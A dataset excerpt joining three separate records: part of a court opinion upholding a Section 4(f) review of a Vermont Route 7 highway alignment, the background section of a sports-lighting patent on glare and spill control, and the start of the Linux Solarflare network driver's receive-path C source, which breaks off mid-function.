B. While improvement of existing Route 7 is perhaps the most feasible alternative to the proposed construction,[7] there is substantial evidence supporting the 4(f) statement and militating against implementation of a reconstruction plan. (1) Current State Highway Department requirements concerning the appropriate widths of rights of way could not be met by reconstruction. (2) Any significant improvement of Route 7 would both disrupt traffic flow during construction and result in considerable inconvenience to residences, businesses and historic sites located along the present highway. (3) If the highway remained a nonlimited access facility as it would for all practical purposes have to remain, (a) adequate future highway safety could not be ensured since the roadway would still traverse the towns and settlements located along Route 7; (b) reducing accident potential would necessitate at a minimum an additional lane or similar device to accommodate left-turn vehicles, with a corresponding need to acquire greater amounts of land from adjacent property, including, possibly, certain historic sites; and (3) it is unclear whether even an improved facility could accommodate projected future traffic volume. (4) Although a limited access highway would alleviate some of these safety hazards, it would be economically disastrous to those enterprises presently located along the highway and would create serious practical problems for the persons in homes adjacent to the highway.
C. While the alternate locations for the new highway would avoid contact with the Lye Brook Wilderness area, there is substantial evidence to support the finding of the 4(f) statement that each of these alternate routes would engender even more severe unavoidable environmental impacts. (1) An alternate line on the west side of U.S. Route 7 would likely damage sensitive areas in the corridor between Equinox Mountain and present Route 7.[8] It would *1326 also necessitate crossing the Batten Kill, a nationally renowned trout stream and an invaluable recreational resource in Vermont. (2) An alternate line on the east side of the valley between the proposed location and the National Forest boundary would similarly not be practical due to potential adverse impacts on the Batten Kill and physical restrictions necessitating construction along a steep slope.[9] (3) Similarly, as explained by the 4(f) statement and by plaintiffs' witnesses on cross-examination, to construct an alternate line between existing Route 7 and the Vermont Railway would again involve the Batten Kill and its floodplain, requiring at least two crossings of both the Batten Kill and the Vermont Railway.[10] Furthermore, this route would require the purchase of agricultural and residential properties as well as termination or bridging of at least three local roads.
D. Finally, the court finds that the use of alternate modes of travel would not sufficiently reduce traffic demands on Route 7 to alter significantly the scope of the needed highway improvement. Operation of a large-scale mass transit system is not feasible given the scattered population base of the area, the diversity of origins and destinations and the propensities of the traveling public in the area.
5. The Section 4(f) statement, as revised by the addendum, see Finding 3 supra, is proper and sufficient. It contains an accurate description and history of the proposed action and considers alternatives and means of minimizing environmental harm. The summary of environmental impacts is complete and accurate with the exception of the statement that "[n]oise levels will meet FHWA Design Standards if the roadway is widened to four lanes by the design year." Final Supplemental EIS § 4(f) Statement at 6. This conclusion is inconsistent with the most recent finding in the addendum, see Finding 3 supra, and is rejected as based on insufficient evidence.
CONCLUSIONS OF LAW AND OPINION
The role of a district court in reviewing the sufficiency of a 4(f) statement has recently been set forth by the Second Circuit Court of Appeals:
Insofar as the 4(f) Statement is concerned, the district court must ascertain first whether the Secretary of Transportation acted within the scope of his authority, i. e., whether the Secretary could have reasonably believed that there were no feasible alternatives to the use of parklands or that the alternatives involved unique problems. Citizens to Preserve Overton Park, Inc. v. Volpe, 401 U.S. 402, 416, 91 S.Ct. 814, 28 L.Ed.2d 136 (1971). The court, without substituting its own judgment for that of the agency, must then determine that the choice made was not arbitrary, capricious, an abuse of discretion or a violation of law. Id. Finally, the court must satisfy itself that the correct procedures have been followed in arriving at the decision under review. Id. at 417, 91 S.Ct. 814.
The burden of proof is on the challenging plaintiff to establish . . . that the Secretary of Transportation had acted improperly in approving the use of parklands. Sierra Club v. Morton, supra, 510 F.2d at 818; Sierra Club v. Callaway, 499 F.2d 982, 992 (5th Cir. 1974).
Monroe County Conservation Council, Inc. v. Adams, supra, No. 77-6129, 566 F.2d 419 at 422.
This court is satisfied that in choosing the proposed alignment the responsible authorities analyzed in good faith and in a reasonably comprehensive manner the various alternatives. There is substantial evidence *1327 in the record supporting their conclusion that these alternative plans are not feasible or prudent. Furthermore, the administrative decision was not arbitrary, capricious or a clear abuse of discretion, as demonstrated by the considerable amount of planning to minimize harm to the Wilderness area. Finally, there is nothing in the record to indicate non-compliance with the requisite procedures.
Accordingly, the injunction is modified to permit acquisition of a four-lane right of way and construction of a two-lane highway along the westerly portion of the right of way, in accordance with the proposal set forth in the addendum to the 4(f) statement. The parties are to submit proposed decrees within twenty days. No costs.
NOTES
[1] The Conservation Society of Southern Vermont was permitted to withdraw as plaintiff at this time. The remaining plaintiffs are Ruth and Lawrence Wasco and Leon Eldred.
[2] Both sections, in relevant part, prohibit the Secretary of Transportation from approving any project requiring the use of specified publicly owned land, including park land, unless there is no feasible and prudent alternative to the use and the project includes all possible planning to minimize harm to the land. These identical provisions will be referred to jointly as Section 4(f).
[3] Only those proceedings bearing on the issues now before the court will be summarized below.
[4] The court notes that the proposed alignment is supported by the Bennington County Regional Planning Commission and by the various towns affected by the construction plans, including Manchester, Sunderland and Arlington, all amici curiae.
[5] While the addendum to the 4(f) statement states that "[a]t such time as the traffic demand increases to a point that a four-lane facility is required, the [two additional] lanes would be constructed immediately adjacent to the wilderness area boundary," Final Supplemental EIS § 4(f) Statement at 2, the injunction of this court has been, is and remains in effect against any four-lane construction between Bennington and Manchester under any of the proposed highway projects until a proper EIS under NEPA and a Section 4(f) statement pertaining to such four-lane construction have been filed. Concededly, such "construction is not likely to be needed for at least several years . . .." Id. See also 362 F.Supp. at 635.
[6] Fencing of the right-of-way line between the access points will also help to prevent illegal vehicle entry into the Wilderness area.
[7] Mr. Morris testified to the feasibility of improving present Route 7. He indicated that certain dangerous curves could be straightened, additional lanes could be built for passing traffic, and other improvements could be made to raise the safety and efficiency of the highway. He though that it might be possible to bypass part of the town of Arlington.
The court notes, however, that Mr. Morris' conclusions were primarily in terms of generalities, based on his having traveled Route 7 four times. He took no measurements, made no traffic surveys or conceptual designs, and never drove on the highway during the snow season.
[8] The western alignment could adversely affect, to name a few locations, Cook Hollow, a unique geological area, three watershed areas supplying the Manchester water system, and Equinox Pond.
[9] A slight relocation of this alternate route to the west might minimize, to some extent, harm to the Batten Kill. However, it would necessitate the acquisition, at excessive costs, of a five-mile strip of privately owned land which would be landlocked by the highway.
[10] In addition to the two crossings, which would require channel work with a direct impact on the river, the highway would be located adjacent to the river at certain points. Construction at these conflict points could have a detrimental effect on aquatic life, particularly on the trout population, a very important natural resource of the area.
|
{
"pile_set_name": "FreeLaw"
}
|
A. Field of the Invention
The present invention relates to lighting fixtures that produce high intensity, controlled, and concentrated light beams for use at relatively distant targets. In particular, the invention relates to such lighting fixtures, their methods of use, and their use in systems where a plurality of such fixtures are used in combination, usually elevated on poles, to compositely illuminate a target area energy-efficiently, with reduced glare and spill light. One primary example is illumination of a sports field. Furthermore, the present invention relates to lighting fixtures with visors that include an uplighting feature.
B. Problems in the Art
In recent times, sports lighting has also had to deal with the issue of glare and spill light. For example, if light travels outside the area of the sports field, it can spill onto residential houses near the sports field. Also, the high intensity of the lamps can cause glare to such homeowner or create safety issues for drivers on nearby roads. Some communities have enacted laws regulating how much glare or spill light can be caused by sports lighting or other wide-area outdoors lighting. While a number of attempted remedies exist, many result in blocking, absorbing, or otherwise reducing the amount of light going to the field. This can not only increase cost of the lighting system because of the glare or spill control measures, but in some cases requires additional fixtures to meet minimum light quantity and uniformity specifications. More cost might therefore be incurred, to make up for the light lost in glare and spill control measures. In some cases, it can even require more costly and/or additional poles to support the additional fixtures.
Therefore, competing interests and issues provide challenges to sports lighting designers. Some of the interests and issues can be at odds with one another. For example, the need always remains for more economical sports lighting. On the other hand, glare and spill control can actually add cost and/or reduce the amount of light available to light the field. One approach is to use a visor extending from the top side of the fixture to block light from traveling outside the target space. Designers have to balance a number of factors, for example, cost, durability, size, weight, wind load, longevity, and maintenance issues, to name a few. Attempts to advance the art have mainly focused on discrete aspects of sports lighting. For example, computerized design of lighting systems tends to minimize hardware costs and system installation costs but uses conventional lamp and fixture technology, with their weaknesses. Also, larger lumen output lamps produce more light, but are used with conventional fixture technology. A need, therefore, still exists for advancement in the art of sports lighting.
However, playability is also important. There must be sufficient light in the volume of space above the sports field so that players can see balls that travel into the air. For example, footballs, softballs, baseballs, soccer balls all can be kicked, thrown or hit quite high off the ground. Attempts to greatly curtail spill and glare light can be inconsistent with sufficient light above the field. There is a need in the art for an improvement in this area.
|
{
"pile_set_name": "USPTO Backgrounds"
}
|
/****************************************************************************
* Driver for Solarflare network controllers and boards
* Copyright 2005-2006 Fen Systems Ltd.
* Copyright 2005-2013 Solarflare Communications Inc.
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 as published
* by the Free Software Foundation, incorporated herein by reference.
*/
#include <linux/socket.h>
#include <linux/in.h>
#include <linux/slab.h>
#include <linux/ip.h>
#include <linux/ipv6.h>
#include <linux/tcp.h>
#include <linux/udp.h>
#include <linux/prefetch.h>
#include <linux/moduleparam.h>
#include <linux/iommu.h>
#include <net/ip.h>
#include <net/checksum.h>
#include "net_driver.h"
#include "efx.h"
#include "filter.h"
#include "nic.h"
#include "selftest.h"
#include "workarounds.h"
/* Preferred number of descriptors to fill at once */
#define EFX_RX_PREFERRED_BATCH 8U
/* Number of RX buffers to recycle pages for. When creating the RX page recycle
* ring, this number is divided by the number of buffers per page to calculate
* the number of pages to store in the RX page recycle ring.
*/
#define EFX_RECYCLE_RING_SIZE_IOMMU 4096
#define EFX_RECYCLE_RING_SIZE_NOIOMMU (2 * EFX_RX_PREFERRED_BATCH)
/* Size of buffer allocated for skb header area. */
#define EFX_SKB_HEADERS 128u
/* This is the percentage fill level below which new RX descriptors
* will be added to the RX descriptor ring.
*/
static unsigned int rx_refill_threshold;
/* Each packet can consume up to ceil(max_frame_len / buffer_size) buffers */
#define EFX_RX_MAX_FRAGS DIV_ROUND_UP(EFX_MAX_FRAME_LEN(EFX_MAX_MTU), \
EFX_RX_USR_BUF_SIZE)
/*
* RX maximum head room required.
*
* This must be at least 1 to prevent overflow, plus one packet-worth
* to allow pipelined receives.
*/
#define EFX_RXD_HEAD_ROOM (1 + EFX_RX_MAX_FRAGS)
static inline u8 *efx_rx_buf_va(struct efx_rx_buffer *buf)
{
return page_address(buf->page) + buf->page_offset;
}
static inline u32 efx_rx_buf_hash(struct efx_nic *efx, const u8 *eh)
{
#if defined(CONFIG_HAVE_EFFICIENT_UNALIGNED_ACCESS)
return __le32_to_cpup((const __le32 *)(eh + efx->rx_packet_hash_offset));
#else
const u8 *data = eh + efx->rx_packet_hash_offset;
return (u32)data[0] |
(u32)data[1] << 8 |
(u32)data[2] << 16 |
(u32)data[3] << 24;
#endif
}
static inline struct efx_rx_buffer *
efx_rx_buf_next(struct efx_rx_queue *rx_queue, struct efx_rx_buffer *rx_buf)
{
if (unlikely(rx_buf == efx_rx_buffer(rx_queue, rx_queue->ptr_mask)))
return efx_rx_buffer(rx_queue, 0);
else
return rx_buf + 1;
}
static inline void efx_sync_rx_buffer(struct efx_nic *efx,
struct efx_rx_buffer *rx_buf,
unsigned int len)
{
dma_sync_single_for_cpu(&efx->pci_dev->dev, rx_buf->dma_addr, len,
DMA_FROM_DEVICE);
}
void efx_rx_config_page_split(struct efx_nic *efx)
{
efx->rx_page_buf_step = ALIGN(efx->rx_dma_len + efx->rx_ip_align,
EFX_RX_BUF_ALIGNMENT);
efx->rx_bufs_per_page = efx->rx_buffer_order ? 1 :
((PAGE_SIZE - sizeof(struct efx_rx_page_state)) /
efx->rx_page_buf_step);
efx->rx_buffer_truesize = (PAGE_SIZE << efx->rx_buffer_order) /
efx->rx_bufs_per_page;
efx->rx_pages_per_batch = DIV_ROUND_UP(EFX_RX_PREFERRED_BATCH,
efx->rx_bufs_per_page);
}
/* Check the RX page recycle ring for a page that can be reused. */
static struct page *efx_reuse_page(struct efx_rx_queue *rx_queue)
{
struct efx_nic *efx = rx_queue->efx;
struct page *page;
struct efx_rx_page_state *state;
unsigned index;
index = rx_queue->page_remove & rx_queue->page_ptr_mask;
page = rx_queue->page_ring[index];
if (page == NULL)
return NULL;
rx_queue->page_ring[index] = NULL;
/* page_remove cannot exceed page_add. */
if (rx_queue->page_remove != rx_queue->page_add)
++rx_queue->page_remove;
/* If page_count is 1 then we hold the only reference to this page. */
if (page_count(page) == 1) {
++rx_queue->page_recycle_count;
return page;
} else {
state = page_address(page);
dma_unmap_page(&efx->pci_dev->dev, state->dma_addr,
PAGE_SIZE << efx->rx_buffer_order,
DMA_FROM_DEVICE);
put_page(page);
++rx_queue->page_recycle_failed;
}
return NULL;
}
/**
* efx_init_rx_buffers - create EFX_RX_BATCH page-based RX buffers
*
* @rx_queue: Efx RX queue
*
* This allocates a batch of pages, maps them for DMA, and populates
* struct efx_rx_buffers for each one. Return a negative error code or
* 0 on success. If a single page can be used for multiple buffers,
* then the page will either be inserted fully, or not at all.
*/
static int efx_init_rx_buffers(struct efx_rx_queue *rx_queue, bool atomic)
{
struct efx_nic *efx = rx_queue->efx;
struct efx_rx_buffer *rx_buf;
struct page *page;
unsigned int page_offset;
struct efx_rx_page_state *state;
dma_addr_t dma_addr;
unsigned index, count;
count = 0;
do {
page = efx_reuse_page(rx_queue);
if (page == NULL) {
page = alloc_pages(__GFP_COLD | __GFP_COMP |
(atomic ? GFP_ATOMIC : GFP_KERNEL),
efx->rx_buffer_order);
if (unlikely(page == NULL))
return -ENOMEM;
dma_addr =
dma_map_page(&efx->pci_dev->dev, page, 0,
PAGE_SIZE << efx->rx_buffer_order,
DMA_FROM_DEVICE);
if (unlikely(dma_mapping_error(&efx->pci_dev->dev,
dma_addr))) {
__free_pages(page, efx->rx_buffer_order);
return -EIO;
}
state = page_address(page);
state->dma_addr = dma_addr;
} else {
state = page_address(page);
dma_addr = state->dma_addr;
}
dma_addr += sizeof(struct efx_rx_page_state);
page_offset = sizeof(struct efx_rx_page_state);
do {
index = rx_queue->added_count & rx_queue->ptr_mask;
rx_buf = efx_rx_buffer(rx_queue, index);
rx_buf->dma_addr = dma_addr + efx->rx_ip_align;
rx_buf->page = page;
rx_buf->page_offset = page_offset + efx->rx_ip_align;
rx_buf->len = efx->rx_dma_len;
rx_buf->flags = 0;
++rx_queue->added_count;
get_page(page);
dma_addr += efx->rx_page_buf_step;
page_offset += efx->rx_page_buf_step;
} while (page_offset + efx->rx_page_buf_step <= PAGE_SIZE);
rx_buf->flags = EFX_RX_BUF_LAST_IN_PAGE;
} while (++count < efx->rx_pages_per_batch);
return 0;
}
/* Unmap a DMA-mapped page. This function is only called for the final RX
* buffer in a page.
*/
static void efx_unmap_rx_buffer(struct efx_nic *efx,
struct efx_rx_buffer *rx_buf)
{
struct page *page = rx_buf->page;
if (page) {
struct efx_rx_page_state *state = page_address(page);
dma_unmap_page(&efx->pci_dev->dev,
state->dma_addr,
PAGE_SIZE << efx->rx_buffer_order,
DMA_FROM_DEVICE);
}
}
static void efx_free_rx_buffers(struct efx_rx_queue *rx_queue,
struct efx_rx_buffer *rx_buf,
unsigned int num_bufs)
{
do {
if (rx_buf->page) {
put_page(rx_buf->page);
rx_buf->page = NULL;
}
rx_buf = efx_rx_buf_next(rx_queue, rx_buf);
} while (--num_bufs);
}
/* Attempt to recycle the page if there is an RX recycle ring; the page can
* only be added if this is the final RX buffer, to prevent pages being used in
* the descriptor ring and appearing in the recycle ring simultaneously.
*/
static void efx_recycle_rx_page(struct efx_channel *channel,
struct efx_rx_buffer *rx_buf)
{
struct page *page = rx_buf->page;
struct efx_rx_queue *rx_queue = efx_channel_get_rx_queue(channel);
struct efx_nic *efx = rx_queue->efx;
unsigned index;
/* Only recycle the page after processing the final buffer. */
if (!(rx_buf->flags & EFX_RX_BUF_LAST_IN_PAGE))
return;
index = rx_queue->page_add & rx_queue->page_ptr_mask;
if (rx_queue->page_ring[index] == NULL) {
unsigned read_index = rx_queue->page_remove &
rx_queue->page_ptr_mask;
/* The next slot in the recycle ring is available, but
* increment page_remove if the read pointer currently
* points here.
*/
if (read_index == index)
++rx_queue->page_remove;
rx_queue->page_ring[index] = page;
++rx_queue->page_add;
return;
}
++rx_queue->page_recycle_full;
efx_unmap_rx_buffer(efx, rx_buf);
put_page(rx_buf->page);
}
static void efx_fini_rx_buffer(struct efx_rx_queue *rx_queue,
struct efx_rx_buffer *rx_buf)
{
/* Release the page reference we hold for the buffer. */
if (rx_buf->page)
put_page(rx_buf->page);
/* If this is the last buffer in a page, unmap and free it. */
if (rx_buf->flags & EFX_RX_BUF_LAST_IN_PAGE) {
efx_unmap_rx_buffer(rx_queue->efx, rx_buf);
efx_free_rx_buffers(rx_queue, rx_buf, 1);
}
rx_buf->page = NULL;
}
/* Recycle the pages that are used by buffers that have just been received. */
static void efx_recycle_rx_pages(struct efx_channel *channel,
struct efx_rx_buffer *rx_buf,
unsigned int n_frags)
{
struct efx_rx_queue *rx_queue = efx_channel_get_rx_queue(channel);
do {
efx_recycle_rx_page(channel, rx_buf);
rx_buf = efx_rx_buf_next(rx_queue, rx_buf);
} while (--n_frags);
}
static void efx_discard_rx_packet(struct efx_channel *channel,
struct efx_rx_buffer *rx_buf,
unsigned int n_frags)
{
struct efx_rx_queue *rx_queue = efx_channel_get_rx_queue(channel);
efx_recycle_rx_pages(channel, rx_buf, n_frags);
efx_free_rx_buffers(rx_queue, rx_buf, n_frags);
}
/**
* efx_fast_push_rx_descriptors - push new RX descriptors quickly
* @rx_queue: RX descriptor queue
*
* This will aim to fill the RX descriptor queue up to
* @rx_queue->@max_fill. If there is insufficient atomic
* memory to do so, a slow fill will be scheduled.
*
* The caller must provide serialisation (none is used here). In practise,
* this means this function must run from the NAPI handler, or be called
* when NAPI is disabled.
*/
void efx_fast_push_rx_descriptors(struct efx_rx_queue *rx_queue, bool atomic)
{
struct efx_nic *efx = rx_queue->efx;
unsigned int fill_level, batch_size;
int space, rc = 0;
if (!rx_queue->refill_enabled)
return;
/* Calculate current fill level, and exit if we don't need to fill */
fill_level = (rx_queue->added_count - rx_queue->removed_count);
EFX_WARN_ON_ONCE_PARANOID(fill_level > rx_queue->efx->rxq_entries);
if (fill_level >= rx_queue->fast_fill_trigger)
goto out;
/* Record minimum fill level */
if (unlikely(fill_level < rx_queue->min_fill)) {
if (fill_level)
rx_queue->min_fill = fill_level;
}
batch_size = efx->rx_pages_per_batch * efx->rx_bufs_per_page;
space = rx_queue->max_fill - fill_level;
EFX_WARN_ON_ONCE_PARANOID(space < batch_size);
netif_vdbg(rx_queue->efx, rx_status, rx_queue->efx->net_dev,
"RX queue %d fast-filling descriptor ring from"
" level %d to level %d\n",
efx_rx_queue_index(rx_queue), fill_level,
rx_queue->max_fill);
do {
rc = efx_init_rx_buffers(rx_queue, atomic);
if (unlikely(rc)) {
/* Ensure that we don't leave the rx queue empty */
if (rx_queue->added_count == rx_queue->removed_count)
efx_schedule_slow_fill(rx_queue);
goto out;
}
} while ((space -= batch_size) >= batch_size);
netif_vdbg(rx_queue->efx, rx_status, rx_queue->efx->net_dev,
"RX queue %d fast-filled descriptor ring "
"to level %d\n", efx_rx_queue_index(rx_queue),
rx_queue->added_count - rx_queue->removed_count);
out:
if (rx_queue->notified_count != rx_queue->added_count)
efx_nic_notify_rx_desc(rx_queue);
}
void efx_rx_slow_fill(unsigned long context)
{
struct efx_rx_queue *rx_queue = (struct efx_rx_queue *)context;
/* Post an event to cause NAPI to run and refill the queue */
efx_nic_generate_fill_event(rx_queue);
++rx_queue->slow_fill_count;
}
static void efx_rx_packet__check_len(struct efx_rx_queue *rx_queue,
struct efx_rx_buffer *rx_buf,
int len)
{
struct efx_nic *efx = rx_queue->efx;
unsigned max_len = rx_buf->len - efx->type->rx_buffer_padding;
if (likely(len <= max_len))
return;
/* The packet must be discarded, but this is only a fatal error
* if the caller indicated it was
*/
rx_buf->flags |= EFX_RX_PKT_DISCARD;
if (net_ratelimit())
netif_err(efx, rx_err, efx->net_dev,
"RX queue %d overlength RX event (%#x > %#x)\n",
efx_rx_queue_index(rx_queue), len, max_len);
efx_rx_queue_channel(rx_queue)->n_rx_overlength++;
}
/* Pass a received packet up through GRO. GRO can handle pages
* regardless of checksum state and skbs with a good checksum.
*/
static void
efx_rx_packet_gro(struct efx_channel *channel, struct efx_rx_buffer *rx_buf,
unsigned int n_frags, u8 *eh)
{
struct napi_struct *napi = &channel->napi_str;
gro_result_t gro_result;
struct efx_nic *efx = channel->efx;
struct sk_buff *skb;
skb = napi_get_frags(napi);
if (unlikely(!skb)) {
struct efx_rx_queue *rx_queue;
rx_queue = efx_channel_get_rx_queue(channel);
efx_free_rx_buffers(rx_queue, rx_buf, n_frags);
return;
}
if (efx->net_dev->features & NETIF_F_RXHASH)
skb_set_hash(skb, efx_rx_buf_hash(efx, eh),
PKT_HASH_TYPE_L3);
skb->ip_summed = ((rx_buf->flags & EFX_RX_PKT_CSUMMED) ?
CHECKSUM_UNNECESSARY : CHECKSUM_NONE);
skb->csum_level = !!(rx_buf->flags & EFX_RX_PKT_CSUM_LEVEL);
for (;;) {
skb_fill_page_desc(skb, skb_shinfo(skb)->nr_frags,
rx_buf->page, rx_buf->page_offset,
rx_buf->len);
rx_buf->page = NULL;
skb->len += rx_buf->len;
if (skb_shinfo(skb)->nr_frags == n_frags)
break;
rx_buf = efx_rx_buf_next(&channel->rx_queue, rx_buf);
}
skb->data_len = skb->len;
skb->truesize += n_frags * efx->rx_buffer_truesize;
skb_record_rx_queue(skb, channel->rx_queue.core_index);
gro_result = napi_gro_frags(napi);
if (gro_result != GRO_DROP)
channel->irq_mod_score += 2;
}
/* Allocate and construct an SKB around page fragments */
static struct sk_buff *efx_rx_mk_skb(struct efx_channel *channel,
struct efx_rx_buffer *rx_buf,
unsigned int n_frags,
u8 *eh, int hdr_len)
{
struct efx_nic *efx = channel->efx;
struct sk_buff *skb;
/* Allocate an SKB to store the headers */
skb = netdev_alloc_skb(efx->net_dev,
efx->rx_ip_align + efx->rx_prefix_size +
hdr_len);
if (unlikely(skb == NULL)) {
atomic_inc(&efx->n_rx_noskb_drops);
return NULL;
}
EFX_WARN_ON_ONCE_PARANOID(rx_buf->len < hdr_len);
memcpy(skb->data + efx->rx_ip_align, eh - efx->rx_prefix_size,
efx->rx_prefix_size + hdr_len);
skb_reserve(skb, efx->rx_ip_align + efx->rx_prefix_size);
__skb_put(skb, hdr_len);
/* Append the remaining page(s) onto the frag list */
if (rx_buf->len > hdr_len) {
rx_buf->page_offset += hdr_len;
rx_buf->len -= hdr_len;
for (;;) {
skb_fill_page_desc(skb, skb_shinfo(skb)->nr_frags,
rx_buf->page, rx_buf->page_offset,
rx_buf->len);
rx_buf->page = NULL;
skb->len += rx_buf->len;
skb->data_len += rx_buf->len;
if (skb_shinfo(skb)->nr_frags == n_frags)
break;
rx_buf = efx_rx_buf_next(&channel->rx_queue, rx_buf);
}
} else {
__free_pages(rx_buf->page, efx->rx_buffer_order);
rx_buf->page = NULL;
n_frags = 0;
}
skb->truesize += n_frags * efx->rx_buffer_truesize;
/* Move past the ethernet header */
skb->protocol = eth_type_trans(skb, efx->net_dev);
skb_mark_napi_id(skb, &channel->napi_str);
return skb;
}
void efx_rx_packet(struct efx_rx_queue *rx_queue, unsigned int index,
unsigned int n_frags, unsigned int len, u16 flags)
{
struct efx_nic *efx = rx_queue->efx;
struct efx_channel *channel = efx_rx_queue_channel(rx_queue);
struct efx_rx_buffer *rx_buf;
rx_queue->rx_packets++;
rx_buf = efx_rx_buffer(rx_queue, index);
rx_buf->flags |= flags;
/* Validate the number of fragments and completed length */
if (n_frags == 1) {
if (!(flags & EFX_RX_PKT_PREFIX_LEN))
efx_rx_packet__check_len(rx_queue, rx_buf, len);
} else if (unlikely(n_frags > EFX_RX_MAX_FRAGS) ||
unlikely(len <= (n_frags - 1) * efx->rx_dma_len) ||
unlikely(len > n_frags * efx->rx_dma_len) ||
unlikely(!efx->rx_scatter)) {
/* If this isn't an explicit discard request, either
* the hardware or the driver is broken.
*/
WARN_ON(!(len == 0 && rx_buf->flags & EFX_RX_PKT_DISCARD));
rx_buf->flags |= EFX_RX_PKT_DISCARD;
}
netif_vdbg(efx, rx_status, efx->net_dev,
"RX queue %d received ids %x-%x len %d %s%s\n",
efx_rx_queue_index(rx_queue), index,
(index + n_frags - 1) & rx_queue->ptr_mask, len,
(rx_buf->flags & EFX_RX_PKT_CSUMMED) ? " [SUMMED]" : "",
(rx_buf->flags & EFX_RX_PKT_DISCARD) ? " [DISCARD]" : "");
/* Discard packet, if instructed to do so. Process the
* previous receive first.
*/
if (unlikely(rx_buf->flags & EFX_RX_PKT_DISCARD)) {
efx_rx_flush_packet(channel);
efx_discard_rx_packet(channel, rx_buf, n_frags);
return;
}
if (n_frags == 1 && !(flags & EFX_RX_PKT_PREFIX_LEN))
rx_buf->len = len;
/* Release and/or sync the DMA mapping - assumes all RX buffers
* consumed in-order per RX queue.
*/
efx_sync_rx_buffer(efx, rx_buf, rx_buf->len);
/* Prefetch nice and early so data will (hopefully) be in cache by
* the time we look at it.
*/
prefetch(efx_rx_buf_va(rx_buf));
rx_buf->page_offset += efx->rx_prefix_size;
rx_buf->len -= efx->rx_prefix_size;
if (n_frags > 1) {
/* Release/sync DMA mapping for additional fragments.
* Fix length for last fragment.
*/
unsigned int tail_frags = n_frags - 1;
for (;;) {
rx_buf = efx_rx_buf_next(rx_queue, rx_buf);
if (--tail_frags == 0)
break;
efx_sync_rx_buffer(efx, rx_buf, efx->rx_dma_len);
}
rx_buf->len = len - (n_frags - 1) * efx->rx_dma_len;
efx_sync_rx_buffer(efx, rx_buf, rx_buf->len);
}
/* All fragments have been DMA-synced, so recycle pages. */
rx_buf = efx_rx_buffer(rx_queue, index);
efx_recycle_rx_pages(channel, rx_buf, n_frags);
/* Pipeline receives so that we give time for packet headers to be
* prefetched into cache.
*/
efx_rx_flush_packet(channel);
channel->rx_pkt_n_frags = n_frags;
channel->rx_pkt_index = index;
}
static void efx_rx_deliver(struct efx_channel *channel, u8 *eh,
struct efx_rx_buffer *rx_buf,
unsigned int n_frags)
{
struct sk_buff *skb;
u16 hdr_len = min_t(u16, rx_buf->len, EFX_SKB_HEADERS);
skb = efx_rx_mk_skb(channel, rx_buf, n_frags, eh, hdr_len);
if (unlikely(skb == NULL)) {
struct efx_rx_queue *rx_queue;
rx_queue = efx_channel_get_rx_queue(channel);
efx_free_rx_buffers(rx_queue, rx_buf, n_frags);
return;
}
skb_record_rx_queue(skb, channel->rx_queue.core_index);
/* Set the SKB flags */
skb_checksum_none_assert(skb);
if (likely(rx_buf->flags & EFX_RX_PKT_CSUMMED)) {
skb->ip_summed = CHECKSUM_UNNECESSARY;
skb->csum_level = !!(rx_buf->flags & EFX_RX_PKT_CSUM_LEVEL);
}
efx_rx_skb_attach_timestamp(channel, skb);
if (channel->type->receive_skb)
if (channel->type->receive_skb(channel, skb))
return;
/* Pass the packet up */
netif_receive_skb(skb);
}
/* Handle a received packet. Second half: Touches packet payload. */
void __efx_rx_packet(struct efx_channel *channel)
{
struct efx_nic *efx = channel->efx;
struct efx_rx_buffer *rx_buf =
efx_rx_buffer(&channel->rx_queue, channel->rx_pkt_index);
u8 *eh = efx_rx_buf_va(rx_buf);
/* Read length from the prefix if necessary. This already
* excludes the length of the prefix itself.
*/
if (rx_buf->flags & EFX_RX_PKT_PREFIX_LEN)
rx_buf->len = le16_to_cpup((__le16 *)
(eh + efx->rx_packet_len_offset));
/* If we're in loopback test, then pass the packet directly to the
* loopback layer, and free the rx_buf here
*/
if (unlikely(efx->loopback_selftest)) {
struct efx_rx_queue *rx_queue;
efx_loopback_rx_packet(efx, eh, rx_buf->len);
rx_queue = efx_channel_get_rx_queue(channel);
efx_free_rx_buffers(rx_queue, rx_buf,
channel->rx_pkt_n_frags);
goto out;
}
if (unlikely(!(efx->net_dev->features & NETIF_F_RXCSUM)))
rx_buf->flags &= ~EFX_RX_PKT_CSUMMED;
if ((rx_buf->flags & EFX_RX_PKT_TCP) && !channel->type->receive_skb)
efx_rx_packet_gro(channel, rx_buf, channel->rx_pkt_n_frags, eh);
else
efx_rx_deliver(channel, eh, rx_buf, channel->rx_pkt_n_frags);
out:
channel->rx_pkt_n_frags = 0;
}
int efx_probe_rx_queue(struct efx_rx_queue *rx_queue)
{
struct efx_nic *efx = rx_queue->efx;
unsigned int entries;
int rc;
/* Create the smallest power-of-two aligned ring */
entries = max(roundup_pow_of_two(efx->rxq_entries), EFX_MIN_DMAQ_SIZE);
EFX_WARN_ON_PARANOID(entries > EFX_MAX_DMAQ_SIZE);
rx_queue->ptr_mask = entries - 1;
netif_dbg(efx, probe, efx->net_dev,
"creating RX queue %d size %#x mask %#x\n",
efx_rx_queue_index(rx_queue), efx->rxq_entries,
rx_queue->ptr_mask);
/* Allocate RX buffers */
rx_queue->buffer = kcalloc(entries, sizeof(*rx_queue->buffer),
GFP_KERNEL);
if (!rx_queue->buffer)
return -ENOMEM;
rc = efx_nic_probe_rx(rx_queue);
if (rc) {
kfree(rx_queue->buffer);
rx_queue->buffer = NULL;
}
return rc;
}
static void efx_init_rx_recycle_ring(struct efx_nic *efx,
struct efx_rx_queue *rx_queue)
{
unsigned int bufs_in_recycle_ring, page_ring_size;
/* Set the RX recycle ring size */
#ifdef CONFIG_PPC64
bufs_in_recycle_ring = EFX_RECYCLE_RING_SIZE_IOMMU;
#else
if (iommu_present(&pci_bus_type))
bufs_in_recycle_ring = EFX_RECYCLE_RING_SIZE_IOMMU;
else
bufs_in_recycle_ring = EFX_RECYCLE_RING_SIZE_NOIOMMU;
#endif /* CONFIG_PPC64 */
page_ring_size = roundup_pow_of_two(bufs_in_recycle_ring /
efx->rx_bufs_per_page);
rx_queue->page_ring = kcalloc(page_ring_size,
sizeof(*rx_queue->page_ring), GFP_KERNEL);
rx_queue->page_ptr_mask = page_ring_size - 1;
}
void efx_init_rx_queue(struct efx_rx_queue *rx_queue)
{
struct efx_nic *efx = rx_queue->efx;
unsigned int max_fill, trigger, max_trigger;
netif_dbg(rx_queue->efx, drv, rx_queue->efx->net_dev,
"initialising RX queue %d\n", efx_rx_queue_index(rx_queue));
/* Initialise ptr fields */
rx_queue->added_count = 0;
rx_queue->notified_count = 0;
